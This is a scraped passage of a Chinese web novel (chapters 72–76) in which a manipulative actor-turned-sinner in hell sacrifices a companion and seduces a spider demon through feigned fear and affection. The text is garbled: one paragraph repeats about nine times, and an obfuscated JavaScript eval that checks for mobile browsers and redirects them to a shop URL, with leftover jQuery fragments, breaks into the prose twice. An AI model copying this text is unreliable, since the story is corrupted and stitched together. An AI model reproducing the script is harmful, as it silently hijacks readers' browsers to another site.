王小实害怕地后退两步不安地道:“盛哥这到底是什么……” 盛玉年转头看他:“小实你相信我吗?” “我信”王小实鼓起勇气说“但是……” “小实睡一觉吧。”盛玉年松开恶魔皮里的蜘蛛毒刺温柔地摸了摸他的头发“睡一觉就不会再受苦了。” 他面不改色地注视着王小实颓然倒地身体也被那堵雪白的高墙吞没。 终于在吞下一个罪人的灵魂之后墙体哗啦融化解开了可供一个人 经过的通道。 盛玉年轻快地叹了口气,迈步踏入墙后。 地狱就是他这种人的游乐园,而要进入一些特别的项目,是需要门票的,该怎么办呢? ——那就去找一张门票,让他心甘情愿地来到这里,成为打开通道的钥匙,不就好了吗? 下到地狱的三个月里,盛玉年玩得非常开心。 这里充满猎人和猎物,自大者的灵魂招摇过市,高傲者的灵魂满地乱走,他落到这个地方,真像老鼠掉进米缸,馋猫钻进肉库。 头两个月,他在那些横行霸道,自认为老子天下第一的罪人身上深深填饱了自己的施虐欲,就开始寻摸一些特别的地点,譬如说身后那堵蛛丝绕成的高墙。 毕竟,学会满足自己的好奇心,也是享受生活的重要一环。 盛玉年在墙后闲庭信步,他踩在满地粘腻厚重的蛛丝上,就像在逛自家的花园。迎面寒气逼人,蹿过来几只硕大的猎魂者,他也一点儿不慌,只是避开到一边,低头看自己脚下的路。 对于无眼的猎魂者来说,能够吸引它们的,正是猎物的注视和目光。 等到人面的蜘蛛恶魔离开之后,他才继续悠闲地赶路。 终于,盛玉年站在了一道巨大的,几乎可以被称作是深渊的天堑面前,惊奇地向下张望。 原先他还在困惑,那堵一眼望不到边的巨墙到底挡住了什么东西,现在看来,它看护的正是一个入口,酝酿着冲天血气,遍布缆绳般粗壮,散发出珍珠色光芒的蛛丝的入口。 这里简直不可思议,仿佛在深渊里挂起了成百上千条凝固的雪白瀑布,静止的莹洁江河。盛玉年用鞋尖点了点那些鹌鹑蛋一样粗细的蛛丝,不知道得是什么品种,多少数量的蜘蛛才能织出如此蔚为壮观的场景。 他正在赞叹,不防脚下的蛛丝突然震颤,猛地向下一陷,盛玉年一个头重脚轻,径直跌落了下去! “什么鬼……!” 他的惊叫猝然消失,淹没在如山如海的雪色丝网中。 作者有话要说 【突然发现营养液破10W了!感谢大家的支持,这章就当二合一的福利啦!】 盛玉年:*神秘地微笑* 其他人:*灵魂被他勾走* 盛玉年:*轻轻转动手指* 其他人:*愿意为他去死,并且真的这么做了* 盛玉年:*得意*啊哈,我就知道,世界上没有人能逃过我的……! 还是盛玉年:*脚下一滑,摔进无底大坑,发出一声尖叫*哎哟! 不知名的大蜘蛛:*轮到他神秘地微笑了,开始微笑* 第 73 章 塔兰泰拉喜剧(三) 第73章塔兰泰拉喜剧(三) 盛玉年像个一头重,一头轻的葫芦,一头攮进了挂满蛛网的深渊。 他并未粘在上面,恰恰相反,这些蛛丝就像弹性特别好的绵绳,将他左弹右跳,一路直往下拍,摔得他脑子都嗡嗡地发懵。 第73章塔兰泰拉喜剧(三) 盛玉年像个一头重,一头轻的葫芦,一头攮进了挂满蛛网的深渊。 他并未粘在上面,恰恰相反,这些蛛丝就像弹性特别好的绵绳,将他左弹右跳,一路直往下拍,摔得他脑子都嗡嗡地发懵。 第73章塔兰泰拉喜剧(三) 盛玉年像个一头重,一头轻的葫芦,一头攮进了挂满蛛网的深渊。 他并未粘在上面,恰恰相反,这些蛛丝就像弹性特别好的绵绳,将他左弹右跳,一路直往下拍,摔得他脑子都嗡嗡地发懵。 第73章塔兰泰拉喜剧(三) 盛玉年像个一头重,一头轻的葫芦,一头攮进了挂满蛛网的深渊。 他并未粘在上面,恰恰相反,这些蛛丝就像弹性特别好的绵绳,将他左弹右跳,一路直往下拍,摔得他脑子都嗡嗡地发懵。 第73章塔兰泰拉喜剧(三) 盛玉年像个一头重,一头轻的葫芦,一头攮进了挂满蛛网的深渊。 他并未粘在上面,恰恰相反,这些蛛丝就像弹性特别好的绵绳,将他左弹右跳,一路直往下拍,摔得他脑子都嗡嗡地发懵。 第73章塔兰泰拉喜剧(三) 盛玉年像个一头重,一头轻的葫芦,一头攮进了挂满蛛网的深渊。 他并未粘在上面,恰恰相反,这些蛛丝就像弹性特别好的绵绳,将他左弹右跳,一路直往下拍,摔得他脑子都嗡嗡地发懵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481958|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第73章塔兰泰拉喜剧(三) 盛玉年像个一头重,一头轻的葫芦,一头攮进了挂满蛛网的深渊。 他并未粘在上面,恰恰相反,这些蛛丝就像弹性特别好的绵绳,将他左弹右跳,一路直往下拍,摔得他脑子都嗡嗡地发懵。 第73章塔兰泰拉喜剧(三) 盛玉年像个一头重,一头轻的葫芦,一头攮进了挂满蛛网的深渊。 他并未粘在上面,恰恰相反,这些蛛丝就像弹性特别好的绵绳,将他左弹右跳,一路直往下拍,摔得他脑子都嗡嗡地发懵。 第73章塔兰泰拉喜剧(三) 盛玉年像个一头重,一头轻的葫芦,一头攮进了挂满蛛网的深渊。 他并未粘在上面,恰恰相反,这些蛛丝就像弹性特别好的绵绳,将他左弹右跳,一路直往下拍,摔得他脑子都嗡嗡地发懵。 第 74 章 塔兰泰拉喜剧(四) 第74章塔兰泰拉喜剧(四) 好吧,或许他确实失态了。 可能是他的呼吸声稍微大了些,也可能是他的心跳稍微激烈了一些,总之,那只感官敏锐的大恶魔骤然转身,瞬间发现了躲在蛛网后头的盛玉年。 说牠“身形庞大 这头血红的人蛛肩宽体阔,上半身覆盖着锋利的外骨骼装甲,一轮蛛网状的骨质冠冕在牠身后闪耀。牠站直身体,近乎有两人多高,连坦克都没有如此凶悍的视觉冲击力。 当牠跳袭过来的时候,简直可以撕裂天空和大地,瞬间撞碎一切挡在身前的仇敌。 作为牠看中的“仇敌,盛玉年连话都来不及说,他的外套就被迎面席卷过来的风压割裂,连带着手臂和胸腹也刮起许多细小的血口。 “谁让你进来的?!穆赫特厉声喝问。 他明明已经吃下那颗腥甜的果实,但面对巢穴主人的盛怒,他的大脑还是像要被挤炸了一样剧痛。 在与穆赫特对视的第一秒,盛玉年的心里就有了计划。 他顺势被那股可怖的气魄推倒在地,就像一株被狂风压低的名花,但因为撑起手肘,他最脆弱的脖颈和胸膛,都暴露在了对方面前。 很多人都以为,他是靠一张脸才在娱乐圈无往不利,所向披靡。但是那些人忘了,长相固然重要,可对于演员来说,最重要的是他们的眉眼。 天赋卓绝的演员,哪怕遮住他们的下半张脸,捂住他们的嘴,他们的眼睛也可以代替声音,在短短的一刹那倾吐出千言万语,将未流出的一滴泪投射进每一个观众的心间。 天才演员的戏份只用在现实世界完成一半,剩下那一半,观众会自发地替他们补全。 盛玉年和这头恶魔对视一刹,就这样将千言万语递到了牠的眼底。 穆赫特扬起的血色利爪,不禁停滞了一下。 “……是那个白头发的女士叫我来的,盛玉年低声说,他的心跳快如擂鼓,做起脸色惨白,神色惶惶的模样,一点都不出格,“她说,她说如果我能活着回去,她再给我吩咐别的事。 他毫无保留,将蜘蛛鬼婆告知他的话全盘托出。 他知道和穆赫特相似的一类人是什么样,他们暴躁,敏感,多疑,偏偏又在手上捏住了不小的权力,不少的金钱,面对来示好的人,他们的第一反应不会是接受,只能是怀疑。 人类的怀疑还可以消解,而恶魔的怀疑,尤其是大 恶魔的怀疑,却可以切实地要了人的命。所以盛玉年才不会像以前见过的那些小傻子,上来先进行一通天花乱坠的吹捧,试图拉进和这类人的关系。 作为一个初次见到穆赫特的罪人,他只能害怕,只会害怕。 穆赫特果真对他的诚实感到一丝意外。 “多管闲事的老东西。穆赫特嘶嘶地说。牠下腹的触肢带着渐变如夜的漆黑,锋利的骨突呈流线型,像螳螂的前足一样蜷起,碰撞时发出的声响,便如金石交加,冷硬得刺人耳膜。 牠盯着盛玉年,继续饱含恶意地道:“也许我该杀了你,亲手让你的上半张脸和身体分离…… 盛玉年的脸孔更白,他的身体也在发抖。 “可……可是我什么都没有做错!他茫然地说,“这对我不公平! 他榨干了浑身的力气,劈头盖脸地对着穆赫特喊出了这句话,喊完之后,他睁大眼睛,整个人都恐惧地缩成了一团。 魔蛛顿了一下,像是被“公平两个字烫到了。 谁会在地狱里寻求公平?谁会在恶魔面前寻求公平?可能只有白痴,疯子和最狂妄的骗子才会这么做,敢这么做。 但穆赫特盯着他,牠的爪子已然慢慢放下了。 因为这同样是牠的痛点……降生不久之后,牠最重要的一对眼睛就被其他大恶魔联手挖走,命运又何尝对牠公平过? “……你就是一块瑟瑟发抖的肉。 盛玉年愣住了。 他缓缓展开蜷缩在一起的四肢,错愕地抬头望着高大的魔蛛。 “你不杀我? 穆赫特没有说话,牠剩下的四只眼睛已经望向了别的地方,像是在怔怔地出神,但牠心里始终回荡着恶意的低语。 大恶魔的耐心是非常罕见的稀缺品,只要这块肉再重复一遍他傻乎乎的问题,我就—— 不过,盛玉年没有给牠下定决心的机会,他裹紧外套,像只逃出生天的白羊,慌慌张张地往出口跑去。 看,就是这样。 对着他的背影,穆赫特怨愤地龇出獠牙。 这个人类也对我露出发自内心的恐惧,他怕得恨不得立刻死去……这根本就是无解的诅咒!地狱里的罪人跟原生恶魔有什么两样?他们和我们是如出一辙的自私冷血,贪婪恶毒,甚至碍于阅历,人类比恶魔还要愚昧短视得多。而我的命运居然就维系在这些卑贱之躯上! 再也没有比这更 加屈辱的事了……我刚才应该杀了他的,杀了他,撕碎他,把他毫无瑕疵的肢体扯成残缺的碎块,或者干脆嚼碎他的头颅,他那颗骨头薄脆,怯懦的小老鼠头颅…… 牠正满心悲愤,满心暴虐地立在原地怨天尤人,盛玉年却忽然停住了脚步。 一个本该仓皇逃跑,此刻却突然站定的猎物——他一定会在掠食者的余光里变得特别显眼,并且勾得牠下意识抬头,想探究这是怎么一回事。 在穆赫特的视线中,那个明明被牠吓得浑身发抖的罪人,居然在快要跑出巢穴口的时候,强忍着害怕,又回头看了牠一眼。 他那雪一样光洁的脸上,不由自主地蒸起一抹奇异的红晕,他的眼睛也像两把湿漉漉的钩子,深深地和穆赫特的目光勾在一起。 那是穆赫特从来没见过,从来没有经历过的眼神。 然后,那个人类猛地惊醒过来,像是突然意识到自己做了什么事,急忙用手背擦了下脸,头也不回地逃走了。 ……怎么回事,那到底是什么恶孽巫术?! 穆赫特骇然地按住心口,蜘蛛的心脏原本在蛛腹里,但是作为半人的魔蛛,牠自然拥有两颗交替跳动的心脏。 但就在刚才,牠的两颗心脏一齐紧缩,仿佛受到了什么未知的感召,居然不约而同地凝滞了那么一瞬间! 穆赫特迅猛地追了出去。 他是否是其他阵营派来潜伏的间谍,还是曾经暗算牠的恶魔们又给牠找来了一个试探?牠想抓住那个罪人,迫使他将真相一字不落地吐出来,但那个罪人跑得当真比兔子还快,一会儿的功夫,已经不见了影子。 穆赫特不愿去见蜘蛛老妪,牠已经厌倦了说教,厌倦了对方脚下那群只会嘻嘻笑的吵闹小蜘蛛——牠总不能再次杀掉老妪的孩子,哪怕对方抱卵比呼吸还容易。 我会盯着你的,罪人,穆赫特在心底冷笑,你那些拙劣的小把戏根本就逃不过我的眼睛,等着吧。 另一头,盛玉年已经顺着指引,来到了蜘蛛鬼婆的巢穴。 鬼婆住在一棵由蛛丝组成的参天巨木上,各色的幼小蜘蛛在灰白色的丝中来回穿梭,但却远远地避开了盛玉年,他猜测,这应该是自己身上沾染了穆赫特的气味的缘故。 盛玉年的心情非常好,他抑制着自己亢奋的情绪,直到鬼婆再次现身。 “你见过牠了吗,罪人?”鬼婆似乎十分意外,用一颗眼珠端详着他,“真是稀奇,你还活着。” 盛玉年不安地攒动着眉心,立刻就让自己的神情染上忐忑 的愁绪。 “是的,牠……牠没有杀我。他说,“我接下来要做什么呢?请您指示。 他的语气不卑不亢,表现得谦逊又温和,宛如一名老教授最心爱的学生,静静等待着鬼婆的命令。 鬼婆笑了一声,牠饶有兴致地打量着盛玉年,忖度道:“穆赫特没有杀你,可也没有对你展露出满意……这样吧! 牠伸出干枯的手,一点食指,一堆小蜘蛛蹦蹦跳跳地抬着一双手套,一杆长长的骨质工具,似乎是某种诡异的扫把和耙子的结合体,把它丢在盛玉年面前。 “你是属于穆赫特的罪人,在这里没有蜘蛛可以奴役你,但你也不能就在这里游荡,闲逛,引发不必要的饥饿和食欲。你就去清扫坟场吧!只要穆赫特不召见你,那就是你的工作。 从万人追捧的明星,一朝沦落到扫坟场的,如此华丽丽的转变,没有在盛玉年脸上激起任何波澜。 他平静地拾起工具和手套,忽然像想起来什么似的,对鬼婆说:“我可以工作,不过 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这是个危险的活计,既没有防护措施,也没有人身保险,他必须要仔细留意脚下,免得被哪块特别光滑的骨头绊倒,再一溜烟地摔下去。 他倒也沉得住气,给自己算好了干活的时 间,到点下班,回去就开始在穆赫特的临时巢穴下面窸窸窣窣地挖洞。 盛玉年很会把握时机,他总能在穆赫特要被吵得受不了,快要大发雷霆的时候停下,估摸着差不多了,就继续开挖,没几天的功夫,就在雪白的蛛丝中挖出一个小小的洞穴。 穆赫特快要烦死了。 那个罪人居然没有跑,他每天在固定的时间出去,差不多的时间回来,然后就在他的临时落脚点下头发出噪音。他的呼吸,心跳和偶尔说出的喃喃低语,全部通过蛛丝的震颤,分毫不差地传到了他的耳朵里。 牠没有烦恼多长时间,因为盛玉年很快就不挖了。 他改换了新的方式,再次将声音送到牠的耳边。 不过,那并不是什么噪音……而是一种更加温柔,更加柔软的声音,仿佛蛛丝相互摇曳着摩挲,发出的沙沙和声。 蜘蛛通过足肢上的听毛来分辨猎物的动静,牠盘踞在自己的巢穴里,能够将任何角落里的细微动静了解得一清二楚。无论是一窝刚从卵囊里出生的幼蛛,还是恶魔们私下里的窃窃细语、明嘲暗讽,牠都听得明明白白,了若指掌。 长期以来,穆赫特浸润在屈辱,仇恨与怨怼的毒液里,但这声响与牠过去听到的所有声音都不同,直听得穆赫特足肢发痒,恨不能每天站起来甩一甩牠的八条腿,把上头的绒毛都踢到一边去。 他又在做什么? 带着愤怒,烦闷,以及一点小小的好奇心,血红的魔蛛悄无声息地爬出巢穴,伏在蛛网间观察那个人类。 ……他居然在编牠的蛛丝。 靠坐在小山般的巢穴下面,人类的手指优美且灵巧,不停穿梭在犹如雪色瀑布的丝线中。他轻柔地,小心地挑出粗细一致的蛛丝,像编辫子般地把它们编成一股。 当然了,论起编织,没人能赶得上蜘蛛巢里的这些蜘蛛恶魔。牠们是天生的织造大师,能够随心所欲地将许多血肉,许多哀嚎和死亡编进自己的罗网。 可是,没有哪一只蜘蛛会跟他一样——用长长的手指头穿过丝线,用发热的掌心熨烫,柔软的皮肤抚摸,再用他专注的,发颤的呼吸轻轻吹拂。 他的嘴唇抿着,忍不住就在唇边抿出一点止不住的笑涡,他的脸也有点红,因为他很白,那片浅浅的红晕就更加显眼。 人类哼着奇怪的小调,似乎把这当成工作闲余时的小游戏。他并不知道,此刻正有一只大蜘蛛倒挂在他的头顶,已经看得哑然了。 作者有话要说 盛玉年:*看见大蜘蛛,假装害怕*嘎!我要晕过去了!*立刻表演昏倒* 大蜘蛛:*相信了,非常生气*他们人类都是一样的!只会以貌取蛛! 还是盛玉年:*假装慢慢醒来,盯住大蜘蛛,脸红了* 大蜘蛛:*忘记自己正在生气,看到对方脸红,自己也脸红了,虽然他的脸本来就很红* 第 75 章 塔兰泰拉喜剧(五) 第75章塔兰泰拉喜剧(五) 恶魔的品种千奇百怪,恶魔的爱好各不相同。 远在剃刀修道院的血祭司是虔诚的狂信徒牠们会将捉到的罪人或者其他恶魔带到广场中央在祭品身上铭刻亵渎的咒言,以此奉献给混沌的地狱本身,任何祭品牠们都爱,祭品身上的每一个零件,牠们都会回收利用;而置身于熔炉工厂的战争巨兽厌恶一切纯血肉的造物,牠们发誓要将地狱改造成喷涂着水银蒸汽绞动着尖刺齿轮的终极战车以此向人间发起冲锋继而一鼓作气地反攻天堂。 至于穆赫特作为一个生来就被取走权能的原生恶魔牠早就被排斥出地狱的权力中心失去了充当玩家的资格,只能缩伏进深不见底的暗渊在无能的怨愤中沸腾至永恒。 但是这样矛盾的人类?穆赫特压根儿就没见过。 见第一面的时候他就怕自己怕得要死比风中的细蛛丝还抖得厉害,可他跑出一段距离,又马上回头用奇怪的眼神大胆地凝视牠;他在临时的落脚点附近挖了一个栖身之地小心翼翼地活动,然后再旁若无人地编织牠的蛛丝…… 他的动作越温柔穆赫特越觉得诧异,诧异过后,便是抑制不住的戒备。 他一定有所图谋,否则他不会这么做,穆赫特心中思索为了避免将来生出更大的祸害也许我应该现在就杀了他。 牠不甘地在巢穴顶端转了两圈相较于庞大沉重的体格牠没有发出一丝声音一点震动。 ……只是这些年的罪人能抵达蜘蛛巢的已经是非常罕见了可以说杀一个少一个。尽管牠也不想把全部的希望寄托在一个小小的罪人身上然而希望就在那里不偏不倚恶毒又可恨地闪耀着。 穆赫特愤恨不平地嘶嘶了两声人类面前的蛛丝下方蓦地窜出一只长满黑红色花纹滴流毒液的硕大蜘蛛作势要往他手上咬直吓得他面色发白惊惶地“啊”了一声急匆匆地向后退去。 欺负了一下人类穆赫特顿时心情大好。 牠耀武扬威地抖了下蛛腹再甩甩尾端的毒针重新爬回牠的临时巢穴打算小憩片刻。 盛玉年目送着那只吓唬他的小蜘蛛重新钻进瀑布般的蛛丝里他忍住得意的笑容 假如穆赫特一直没有回应没有动作他必定担心是自己的策略出了问题需要尽快调整棋路继续揣摩对方的想法。 一旦对方有所 反应——无论那是积极的反应还是消极的反应——盛玉年才会欢喜雀跃犹如得到了阶段性的奖励贪婪地吮吸猎物的情绪能量。 在逃回自己的小家之后盛玉年垂下眼睛在平复了心绪控制住自己的笑容之后他躲在家门附近一分一秒地等待着时间。 大概数过了四十分钟他调整脸上的表情换上一副悲伤且依恋的面具又开始慢慢地抚摸那些雪白柔软的蛛丝。 他的眼波更加忧郁他弹动手指的幅度也更加缱绻更加小心翼翼。 盛玉年就像一个得了相思病却不知病因从何而起的年轻学生困惑而不舍地轻轻触碰蜘蛛的丝网。他不再编织了而是改用手指轻轻梳过丝线将它们妥善地放好。 挂在网上浅眠中的穆赫特一下睁开四只眼睛震惊地听着动静。 ……他怎么又开始了?!他居然将我的警告视作无物? 魔蛛愤怒地龇出獠牙牠马上就要暴起先叫蛛群将那个不知死活的罪人咬成一张千疮百孔的人皮毯子然后再抬到牠跟前来由牠亲手撕成碎片。但是—— 穆赫特的皱紧的眉心逐渐舒展牠眼中的凶光同时慢慢熄灭。 但是从丝网中传来的动静比之前还要怯怯不安。 这个声音就像低微的恳求像一个含着眼泪的幼小孩子轻轻地拽着人的衣角只为了求一块糖吃。 想吃糖的小孩子有什么错?哪怕叫最严苛的裁决者来判断都不会有任何的罪过。穆赫特几乎产生了一种幻听牠仿佛可以听见那个罪人怯生生的央求听到他低声细语的询问。 ——就让我摸一摸好不好? 血色的魔蛛犹豫不定在原地徘徊了一阵。 ……算了! 牠重新在蛛网中蹲伏下去 痒就痒吧比起那些无处不在的讥笑议论和嘲讽起码他的声音不会让我终日愤怒寝食难安。 想通了这一点穆赫特心底的最后一丝怒火也消散了牠闭上眼睛浅浅地睡去。 成功了。 盛玉年等了又等既没有等来先前那样的警告更没有铺天盖地的毒蜘蛛将他淹没。 他咬着嘴唇再也抑制不住脸上的笑容一双眼睛亮得像天上的星星在蛛丝的掩映下狡黠得闪闪发光。 鱼儿吃钩了。 盛玉年只允许自己放肆地展露片刻笑颜接着便收拢表情同时收回自己的手。 他今天已经大有收 获,是时候上床休息。毕竟,充足的体力才是打消耗战的关键。 如此一来,盛玉年开启了自己颇有规律的新生活。 地狱里不分白天黑夜,好在灵体没有生物钟的问题,他就按照附近灯光的明暗划分白天黑夜。水晶灯最亮的时候,就是他去坟场工作的时间,等到在坟场里清出一小座骨头山的空余之后,就到了他该下班的时候了。 回到他的小窝,盛玉年先不紧不慢地打开蜘蛛鬼婆给他的袋子,从里头挑一块结晶含在嘴里,这就是他两到三天的“饭 这种吸收能量的方式,确实比以前狩猎恶魔的方式还要省时省力。 紧接着,他就开始继续编织那些蜘蛛丝。 他发现,除了用来引诱穆赫特,这些蛛丝本身的可塑性也是很强的。很多年以前,盛玉年演过一个当篾匠的小配角,当时为了好发通稿营销,他很是下过一番苦功夫,学习如何用篾条制作各种生活用品。万法互通,如今他将编竹片的手艺重新拾起来,稍加改造,很快就给自己编出了一个蛛丝的枕头。 他再努力一点,一床软软和和的蛛丝被子也快编好了。 “习惯是个很可怕的东西,打他第一天掉进蜘蛛巢,听见鬼婆的描述,以及蛛群的此起彼伏,漫山遍野的笑声时,他心里就在思考这个计划。 诚如他人所说,穆赫特心高气傲,脾气又暴烈,牠怎么能忍受来自眷族的嘲弄?然而这里是地狱,实力和能力凌驾在一切之上,鬼婆说牠失去了权柄,虽然盛玉年暂时还没挖掘出这个秘密,不过可想而知,一个失去了权力地位,只能把巢穴安在不见天日的地下的大恶魔,就算再怎么发火,牠难道还能改变现状不成? 恶魔尽是目无法纪,残酷混沌的生物。穆赫特管不了那些小蜘蛛背地里的嘲笑,更不可能杀光所有的眷族,能勉强维持住表面的尊敬,已经算那些恶魔惜命啦。 偏偏牠又是巢穴的主人,蛛丝构筑着整个地下都城,完全可以听到任意一个角落里的响动…… 盛玉年神秘地一笑,不紧不慢地抚摩雪白的丝线,让它们发出落雨一样惬意的沙沙声。 爱抚总比恶意好,温柔绵软的弹奏,总比刺耳聒噪的笑声好,对不对? 他完美地把控节奏,很有规律地过了两个多星期,竟然在地狱——尤其是毒蛛如云的蜘蛛巢里,过上了有的正常活人都弄不到的安稳日子! 但正如他所说,恶魔全是一群天性混乱的孽种,他活得这么舒坦,很多暗中观察他的蜘蛛便要打心眼儿里不舒坦了。 于是这天早上,盛玉年再去坟场清扫骨头的时候,有三头半人半蛛的恶魔将他堵在了那里。 牠们不是别的蜘蛛,正是盛玉年掉下来的第一时间,就抢先围住他的那三只。假如不是鬼婆插手抢人,牠们才顾不得穆赫特立下了什么规矩,先开饭再说。 牠们的年纪似乎也不算很大,盛玉年可以理解,一堆年轻气盛的雄蛛攒在一起,当然是看不起另一只残缺的雄蛛的——不管对方是不是整座巢穴的主人。 被三只恶魔围在中间,他非但不害怕,反而兴奋得连手臂上的汗毛都竖起来了。 盛玉年知道,自己一直等待的机会,终于在今天到来。 面对三只恶魔的围堵,他先后退了一步,目露警惕地问:“你们要干什么?” “我的网里正好缺一个装饰品,”中间的人蛛带着欣赏的微笑,充满贪欲地打量着面前的人类,“美丽的装饰品。” “而我缺一个好用的杯子,”左边的恶魔赞同地点头,“他的手臂可以做一个非常细腻的造型。” “把他的剩下的部分给我吧,”右边的恶魔嘶嘶道,“我一直想要一张活体椅子,会哭泣,会尖叫,那就最好不过了。” 如果是普通人听到这些议论,再看到恶魔的面貌,一定会软倒在地,吓到失禁也说不准,可盛玉年只想笑。 他在蜘蛛巢安置的时间很短,然而他不是傻子。难道鬼婆是为了做慈善才留下他,给他食物和工作的?难道穆赫特没有在第一次见面的时候杀了他,是因为牠善心大发吗? 这其中必定有更重要的原因,迫使巢穴中地位颇高的两个恶魔做出抉择。牠们决心要保住盛玉年的命,其他恶魔除了无用的挑衅和恐吓,还能做什么? 不过,他仍然表现出非常害怕的样子,低声说:“你们想干什么?是……是女士吩咐我在这里工作,管理坟场,我没有违规!” 三头恶魔爆发出刺耳的笑声,牠们围着盛玉年,尽情地恫吓、挖苦,以观赏他畏惧瑟缩的神情为乐,好在牠们还顾忌着盛玉年身上的气息,没有直接上手,用锋利的尖甲戳弄他。 等到人类脸色惨白,几欲昏倒,牠们才稍微满足,洋洋得意地放他离去。 盛玉年跌跌撞撞地往前跑出一段距离,然后,他故技重施,再次回头看了那三只恶魔一眼。 上一次他用这招,对穆赫特递出的是含情脉脉的眼波,恨不得将对方的四颗眼珠子全勾过来;这一次他再回头,丰润的嘴唇却噙着轻蔑的弧度,一张似笑非笑,眼尾上挑 的美人面,足以让全天下的男人都气血上涌,在大怒中将脸孔烧得通红。 那些恶魔当然也是雄性,并且,恶魔终归要比人类的男人聪明一点。 牠们很快就意识到自己被盛玉年耍了,当即怒不可遏,猛地朝他跳袭过去,誓要抓住那个可恨的人类。而盛玉年飞快地换了一张脸,惊叫着开始逃命。 人类必然跑不过八条腿的恶魔,盛玉年一边大喊救命,一边被骨头绊倒在地,眼看就要迎来他的第二次死亡,半空中,灰白的蜘蛛蓦然汇聚出鬼婆的人形。 牠盯着三头气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他确实可以为了这个小罪人处死那三头年轻雄蛛,但这样势必会在蜘蛛巢里传递出确切的信号,罪人也会因为牠的庇护,一跃获得超过他身份的地位,更何况,对方又是这么一个矛盾重重,称得上神秘的人类。 穆赫特看不懂他,一个连恶魔都看不懂的人类,势必十分危险。 既然老妪 已经教训过牠们,这一次,我就暂且寄存下这些年轻雄蛛的过错…… 可是,听着人类惧怕的心跳声,还有他陆陆续续的哽咽吐息,穆赫特的心头不断涌起陌生的冲动,就好像……就好像他必须出去保护什么,捍卫什么一样。 这冲动在牠的胸口一阵阵鼓噪,似乎把牠的血也烧得热了起来。穆赫特到底杀意难消,忍耐好一阵,才阴鸷地伏回巢中,等待下一次机会。 这天晚上,牠没听见人类温柔的触摸声,只有他身陷噩梦,睡得十分不安分的喘息,伴随牠度过了好几个小时。 第二天早上,盛玉年照常去工作。 他装得若无其事,但穆赫特已经在下意识地分神去关注这个罪人。被鬼婆教训过,那三只蜘蛛暂且偃旗息鼓,只能时不时地给盛玉年造成一点工作上的麻烦,譬如在骨头里掺杂剧毒,将腐烂的人尸丢在他面前,或者唆使小蜘蛛去咬他。 恶魔睚眦必报,见这些把戏全被人类一一躲过,年轻的雄蛛们终究按捺不住,选择在人类下班回巢的时候,再次围堵住他。 只是这一次,牠们不光没能实现自己的心愿,并且连下一次红月都见不到了。 ——两头黑红相间,一雄一雌的巨型人蛛从天而降,几乎如同碾碎三块脆弱的瓷器一样,瞬间将纤瘦得多的巡防者们碾成了一地碎肉! 面对瞪圆眼睛,看上去特别惊骇的盛玉年,牠们仅是简短地做了自我介绍:“惩戒者。” 接着,牠们便遁入黑暗,消失得无影无踪。 这两个强大的惩戒者肯定不会无缘无故地出现在坟场,这个平时蛛迹罕至的地方,那么,牠们是谁派来的呢? 回去的路上,盛玉年掩住笑容,假装做出思索的模样。 答案已经不言而喻。 是夜,巢城中灯火晦暗,水晶的幽光照耀着角落,穆赫特听见一阵不同寻常的动静。 时隔许久,人类又一次爬上了牠的临时巢穴。 牠没有制止,实际上,牠心中隐约有所预感,牠知道人类是来做什么的。 “穆赫特?”人类小心地拂开垂下的蛛丝,他呼唤着牠的名字,柔和的声音微微发颤,“您在里面吗?我……” 他鼓起勇气,接着道:“我想来……我是来对您说声谢谢的。” 作者有话要说 【啊啊啊啊啊昨天怎么有人说这是杀蛛盘。。杀蛛盘。。。好坏的称呼,我回味无穷! 哎哟真的很喜欢看大家的评论。。虽然一般写完更新就力竭昏迷了,但是昏迷的时候也会在梦里看大家的评论。。 PS.营养液11w多了啊啊啊。。怎么这么快。。。五千字的大章送给大家!(用饭塞嘴)】 盛玉年:*走在路上,慢悠悠地哼歌*我是一个小坏坏,我是一个小坏坏…… 还是盛玉年:*因为他很坏,所以伸出腿,把路过的蜘蛛绊倒* 路过的蜘蛛:*非常生气,开始追杀人类* 穆赫特:*发现其他蜘蛛在追杀人类,也开始生气*什么,只有我能追杀他! 还是穆赫特:*伸出指头,一下按死路过蜘蛛* 盛玉年:*继续走在路上,继续慢悠悠地哼歌*我是一个小坏坏,我是一个小坏坏…… 第 76 章 塔兰泰拉喜剧(六) 第76章塔兰泰拉喜剧(六) 穆赫特没有说话。 牠应该叫这个人类滚开的,毕竟恶魔没有什么“伸手不打笑脸人”的潜规则。只是,牠似乎从未听过其他生物对他这么谦逊地说着谢谢,这种感觉到底十分新鲜。 “来到这里之后,我一直特别害怕,”人类小心翼翼地靠在外侧,语气很不好意思,“不,准确来说,我从落进地狱的那一刻起,就特别害怕了。而且我实在不明白,我到底犯了什么滔天大错,才会下到地狱。” 罪人都是这么想的,穆赫特嗤之以鼻,会下地狱的原因,难道你不比我更清楚? 盛玉年接着说:“我在地上摸爬滚打了几个月,好在以前还学过一些东西,勉强能撑得住。每次见到那些残忍可怕的怪物,往它们的爪子和牙齿底下逃命,我都会安慰自己:这是大难不死,必有后福。而我见到的人类同胞,也全是穷凶极恶的歹徒,唯利是图的杀人凶手。” 他的声音不疾不徐,轻得像一阵微风,舒缓地吹到每个不是聋子的活物耳边,由不得对方不听,由不得对方不信。 说到“杀人凶手”的时候,他忽然苦笑了一下,黯淡地说:“我想,我知道自己为什么会下地狱了。” 他的话勾起了穆赫特的一点微末好奇心,然而他却绝口不解释其中的缘由,继续就着之前的话题,轻声说:“我至今记得那天,地面上卷着牛奶一样厚的雾气,我和同伴被一只螃蟹形状的恶魔追杀,慌不择路,跑到了蛛丝的高墙附近。我的同伴已经身受重伤,我救不了他,只能眼睁睁地看着他离我而去,可就在这时,那堵墙居然融化了。” 